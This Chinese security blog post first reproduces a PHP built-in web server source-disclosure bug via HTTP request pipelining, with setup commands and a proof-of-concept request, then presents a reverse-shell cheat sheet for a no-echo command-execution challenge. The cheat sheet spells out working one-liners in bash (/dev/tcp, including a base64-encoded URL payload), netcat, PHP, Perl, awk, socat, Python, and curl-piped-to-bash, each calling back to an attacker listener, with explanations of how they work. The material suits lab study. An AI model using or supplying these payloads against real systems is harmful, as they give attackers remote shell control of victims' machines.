低版本php下信息泄露的CVE漏洞

为了复现这个漏洞拉个docker老是出问题,直接把这篇文章(https://blog.csdn.net/Kawakaze_JF/article/details/133046885?sharetype=blogdetail&shareId=133046885&sharerefer=APP&sharesource=2503_93592530&sharefrom=qq)里的命令借来用用吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
apt-get install docker.io
//下载dpcker

service docker start
//启动docker

docker pull php:7.4.21
//拉取php 7.4.21的镜像

docker run -it -p 8080:80 4ad229e4e700 /bin/bash
//运行镜像 将docker 的80端口映射到kali的8080端口

echo "<?php \$flag=ZLARYY{2L47yY}" > /var/www/html/secret.php
//写入文件

php -S 0.0.0.0:80
//通过php -S开启web服务(必须)

关于这个漏洞的详细部分在:

https://projectdiscovery.io/blog/php-http-server-source-disclosure#root-cause-analysis

恕我实在无能为力全部理解,只能靠AI帮我解释一下:

PHP 内置 Web 服务器(php_cli_server)底层的 C 语言状态机,在处理 “HTTP 请求管道化(Pipelining)” 时发生了严重的指针错乱。

正常的 HTTP 是一问一答(发一个请求,等一个响应)。但管道化允许你把两个甚至多个 HTTP 请求,硬塞进同一个 TCP 数据包里同时发过去!

所以接下来的逻辑是这样:我们的paylaod当中包含两个GET请求,并且故意不加上Content-Length请求头,这样php_http_parse在解析完第一个请求头之后由于没有看到长度,提前触发了messge_complete(消息完成)的回调函数,但我们还加上了第二个请求在后面,此时状态机会被强行拉回初始状态,在这样的条件下,php引擎的内部标志位被覆盖了,原本应该判断.php后缀需要拿去执行,但由于错误地把is_static_file的标志位设置为了1,那么php引擎就将这个.php文件视为静态文件,如.txt,就导致了php代码没有被执行,还输出了源码作为结果

在确定请求文件是静态文件还是php文件时,利用的是如下代码:

1
2
3
4
5
6
7
8
9
10
static  int  php_cli_server_dispatch(php_cli_server *server, php_cli_server_client *client) {
...
if (client->request.ext_len != 3
|| (ext[0] != 'p' && ext[0] != 'P') || (ext[1] != 'h' && ext[1] != 'H') || (ext[2] != 'p' && ext[2] != 'P')
|| !client->request.path_translated) {

is_static_file = 1;
}
...
}

上述代码包含一个检查,用于确定请求的文件应被视为静态文件还是 PHP 文件。这是通过检查文件扩展名来实现的。如果扩展名不是 .src .php.PHP .ph,或者扩展名的长度不等于 3,则该文件被视为静态文件。这通过将变量设置is_static_file为 1 来指示。

代码还会检查对象path_translated的某个字段client->request是否为空。该字段包含文件系统中请求文件的完整路径,用于定位和提供该文件。如果该path_translated字段为空,则表示找不到请求的文件,请求将被视为错误。

那么接下来尝试尝试复现这个漏洞,先给出poc:

1
2
3
4
5
6
GET /secret.php HTTP/1.1\r\n
Host: 192.168.xxx.xxx:8080\r\n
\r\n
\r\n
GET /ZLARYY HTTP/1.1\r\n
\r\n

由于我们的攻击原理中不能让其找到Content-Length,所以需要关闭Update Content-Length,注意上面的poc里面的\r\n不是手动加上去的,而是开启了burp的\n

反弹shell

其实挺早就了解到有这个方法了,在搭建起来kali里面的apache之后现在总算有机会尝试复现了

反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端 的角色反转。

关于反弹shell我的理解是kali上开启监听端口,然后让靶机上开启命令行并且主动连接我的监听端,从而让我在监听端的输入都转入到靶机上,而靶机上的输出都返回到我的监听端

一种特别典型的利用反弹shell的题目是无回显RCE

题目如下:

1
2
3
4
<?php
highlight_file(__FILE__);
exec($_GET['cmd']);
?>

bash反弹

这里我直接先给出payload:

1
2
3
4
5
6
/?cmd=echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE1Mi4xMjgvNzc3NyAwPiYx%20|%20base64%20-d%20|%20bash

其实原paylaod长这样:
bash -i >& /dev/tcp/192.168.152.128/7777 0>&1
同时我们还需要在kali上开启
nc -lvnp 7777

bash -i >& /dev/tcp/192.168.152.128/7777 0>&1

参考:https://www.cnblogs.com/pandana/p/16289320.html

1、bash -i:在靶机上启动一个交互式(interactive)的Bash终端

2、/dev/tcp/是Linux中的一个特殊设备文件,实际这个文件是不存在的,它只是 bash 用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。

3、192.168.1.102/7777则是攻击者主机的地址和监听的端口了。

4、“>&”和“0>&1”

要想了解“>&”和“0>&1”,首先我们要先了解一下Linux文件描述符和重定向。linux shell下常用的文件描述符是:

(1)标准输入(stdin) :代码为 0 ,使用 < 或 <<

(2)标准输出(stdout):代码为 1 ,使用 > 或 >>

(3)标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>

这里的”>&”与”&>”是等价的,都是表示混合输出,即标准输出1 + 错误输出2。其实 2>&1也是将标准错误输出重定向到标准输出中的意思。那么按照这个逻辑,“0>&1”就是将标准输入重定向到标准输出中。事实也就是如此,“0>&1”跟“0&>1”同样也是等价的。

回到题目上来说,由于我们的payload里面出现了&符号,那么在URL传参时会把我们的payload截断,所以必须用echo "[base64]"|base64 -d|sh&绕过,除此之外,直接解析我们的payload的是/bin/sh指向的dash,这个dash在读到>&会直接报语法错误,用echo和管道符最后时候用bash或者sh才会将我们的bash反弹payload交给bash执行

这样我们就算成功反弹shell了,之后我们在这个命令行上输入的所有命令都与index.php的限制没有任何关系了,我们直接与靶机的命令行交互,并且靶机的执行结果直接显示到我们的bash上:

接下来我想深入了解一下>&0>&1

在本博客的RCE部分中提到过&,当时是说:

1
将前面的命令放在后台执行,不等前面的命令执行结束就开始执行后面的命令,还有一种用法是在一行命令末尾加上&符号使其放在后台运行,比如下载文件……

不过这里不是这样,>&表示重定向操作符,&变成了一个指针标记

不加上&的情况下,echo "ZLARYY" >1表示将ZLARYY字符串写入1这个文件

但是如果加上&之后,echo "ZLARYY" >&1的意思就变成了将这个字符串写进编号为1的系统通道,即标准输出:

而使用>& /dev/tcp/192.168.152.128/7777的原理其实是这样:

如同上面的>&shell一样,使用>&之后,系统原本准备去打开或者创建一个文件,但由于bash解释器在把命令交给Linux内核的时候,会先检查一遍要写入的路径,当bash看到路径以/dev/tcp或者/dev/udp开头,会触发一种特殊的拦截机制,这时候就不会去硬盘上创建文件了,而是调用底层的socket()网络编程接口,向对应的IP地址和端口发起一次TCP握手,此时>&作为混合输出,将标准输出和标准错误混在一起,最后顺着TCP发送到对应的IP地址和端口

之后由于存在0>&1nc命令,系统会将我们输入的cat /flag\n变成纯粹的二进制数据包(TCP payload),顺着虚拟网线传输到靶机上,并且0>&1将靶机的标准输入转接到1通道上,导致传输进来的cat /flag\n被当做靶机的标准输入执行,将标准输出顺着TCP发送到我们的kali上

那么为什么我的kali上的标准输入会连接到TCP呢?

这是由于nc命令,一旦nc建立连接,nc(Netcat)会自动把kali的标准输入绑定到TCP连接上,同时将标准输出也绑定上,比如:

1
2
nc -lvvp 7777
//开启nc之后用windows访问192.168.152.128:7777

我们能看到:

这意味着我们接收到了Chorm浏览器的请求,此时如果我在kali上输入

1
2
3
4
HTTP/1.1 200 OK
Content-Type: text/html

<h1>Hello ZLARYY</h1>

那么在我们windows上的Chorm就可以看到kali标准输入的结果传输到了Chorm上

我之前提到exec调用的是/bin/sh的dash而不是bash,其实还有一种方法可以避免使用base64编码和管道符:

1
cmd=bash -c "bash -i >%26 /dev/tcp/192.168.152.128/7777 0>%261"

%26是&的URL编码,-c意味着将一段字符串强制作为bash的命令执行

nc反弹

当然反弹shell可不止bash,nc反弹之前在限制长度的RCE中学到过:

1
nc -e /bin/bash 192.168.152.128 7777

在前文我们提到了nc命令可以主动将标准输入和标准输出连接到靶机,-e参数表示execute执行,那么nc -e /bin/bash意思就是一旦连接上,那么就执行靶机上的/bin/bash程序,并且将标准输出标准输入标准错误输出全部连接到kali中

php反弹

php反弹利用了php中的原生函数fsockopen,该函数在本博客SSRF一栏中提到:

1
此函数用于打开一个网络Socket连接,允许与任意主机和端口进行原始的TCP通信。它比HTTP库更底层,因此可以与被防火墙保护的、非HTTP协议的内网服务(如Redis、MySQL、Memcached)直接交互。

一种payload为:

1
php -r '$sock=fsockopen("192.168.152.128",7777);exec("/bin/sh -i <&3 >&3 2>&3");'

fsockopen("192.168.152.128",7777)表示向kali发起TCP连接

exec("/bin/sh -i <&3 >&3 2>&3"):之前有提到过文件描述符:0表示输入,使用<<<;1表示输出,使用>>>;2表示错误,使用2>2>>。当连接成功后,操作系统会给这个网络套接字分配一个文件描述符,由于0,1,2都有表示,那么这个新建立的socket网络编号通常为3

<&3>&32>&3就像>&0>&1一样:

<&3:把标准输入接在网络套接字(3)上,用于接收命令

>&3:把标准输出接在网络套接字上,传回执行结果

2>&3:把报错信息接在网络套接字上

还有一种就和bash反弹没什么区别了:

1
php -r 'exec("bash -c \"bash -i >%26 /dev/tcp/192.168.152.128/7777 0>%261\"");'

exec反弹

exec反弹也是利用文件描述符和网络socket:

1
bash-c '0<&196;exec 196<>/dev/tcp/192.168.152.128/7777; sh <&196 >&196 2>&196'

0<&196:把标准输入重定向,去读取文件描述符196里面的内容,这是为了确保当前的输入流被强行接管或者纯粹是老版本系统用来初始化占位

exec 196<>/dev/tcp/192.168.152.128/7777:这里有一个exec的另一种用法:当exec后面没有接任何命令,只接了重定向符号时,exec的作用就变成了永久修改当前bash进程的文件描述符,而这句话就相当于开启一个与我的kali相连的网络连接,并把这个连接命名为196

sh <&196 >&196 2>&196:其实也和<&3>&32>&3一样了

perl反弹

1
perl -e 'use Socket;$i="192.168.152.128";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

其实有了前几个反弹的技巧,这个应该也不难看出来:

use Socket;$i="192.168.152.128";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")):Perl版本的建桥指令,或者说就相当于php反弹里的fsockopen(),它向kali发起TCP连接,并把这个连接命名为句柄S

open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S"):将标准输出标准输入和标准错误重定向到S

exec("/bin/sh -i"):调用操作系统

awk反弹

awk原本是一个用来处理文件的命令:

1
awk '动作' 文件名

此命令将逐行打印flag.txt的内容,其中$0表示整行内容。

这里的$n表示第n个字段

接下来了解了解awk反弹shell:

1
awk 'BEGIN{s="/inet/tcp/0/192.168.152.128/7777";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

BEGIN{}:正常来说awk是等有文件输入了才执行,不过加载BEGIN块之后表示程序一启动就执行括号内的代码

s="/inet/tcp/0/192.168.152.128/7777":与/dev/tcp类似,awk 内部同样硬编码了一个特殊的虚拟路径解析器:/inet/网络协议/本地端口/目标IP/目标端口,在给s赋值的同时,awk建立了一个通向kali的TCP握手,0表示本地端口随机

for(;s|&getline c;close(c))

|&:双向管道符,awk独有,它把套接字s修改为可读写的通道

s|&getline c:如果从kali中传来了命令,就把他读取下来存进变量c中

close(c):每次执行完命令之后清理执行环境准备执行下一条命令

while(c|getline) print|&s:当c获得命令,awk会将c里的字符串交给操作系统执行并且把执行出来的结果一行行读取出来,print|&s表示把读取到的结果顺着双向管道赋值给s

curl反弹

我们可以将一个shell反弹的payload放在靶机可以执行curl的地方,然后利用管道符和sh

1
curl 192.168.152.128/bash.html|bash

socat反弹

1
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.152.128:7777

python反弹

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.152.128",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

原理其实也和前面的差不多,建立网络连接之后把0,1,2都接上通道

文章参考:反弹shell汇总,看我一篇就够了-CSDN博客